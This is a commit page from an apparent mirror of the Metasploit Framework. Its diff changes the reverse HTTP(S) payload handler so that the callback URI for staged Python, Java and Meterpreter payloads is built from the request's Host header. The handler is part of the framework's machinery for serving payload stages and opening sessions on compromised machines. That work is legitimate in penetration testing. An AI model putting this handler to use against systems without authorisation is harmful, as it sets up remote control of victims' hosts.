infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Use host header in reverse_http(s)

bug/bundler_fix
scriptjunkie 2015-03-11 19:40:52 -05:00
parent 215c209f88
commit 401d553f84
1 changed files with 11 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
lib/msf/core/handler/reverse_http.rb
View File

@ -92,13 +92,15 @@ module ReverseHttp
# addresses. # addresses.
# #
# @return [String] A URI of the form +scheme://host:port/+ # @return [String] A URI of the form +scheme://host:port/+
def payload_uri def payload_uri(req)
if ipv6? if req and req.headers and req.headers['Host']
callback_host = "[#{datastore['LHOST']}]" callback_host = req.headers['Host']
elsif ipv6?
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else else
callback_host = datastore['LHOST'] callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
end end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/" "#{scheme}://#{callback_host}/"
end end
# Use the {#refname} to determine whether this handler uses SSL or not # Use the {#refname} to determine whether this handler uses SSL or not
@ -186,7 +188,7 @@ protected
case uri_match case uri_match
when /^\/INITPY/ when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + '/' url = payload_uri(req) + conn_id + '/'
blob = "" blob = ""
blob << obj.generate_stage blob << obj.generate_stage
@ -221,7 +223,7 @@ protected
when /^\/INITJM/ when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
blob = "" blob = ""
blob << obj.generate_stage blob << obj.generate_stage
@ -249,7 +251,7 @@ protected
when /^\/A?INITM?/ when /^\/A?INITM?/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream' resp['Content-Type'] = 'application/octet-stream'
@ -294,7 +296,7 @@ protected
create_session(cli, { create_session(cli, {
:passive_dispatcher => obj.service, :passive_dispatcher => obj.service,
:conn_id => conn_id, :conn_id => conn_id,
:url => payload_uri + conn_id + "/\x00", :url => payload_uri(req) + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?, :ssl => ssl?,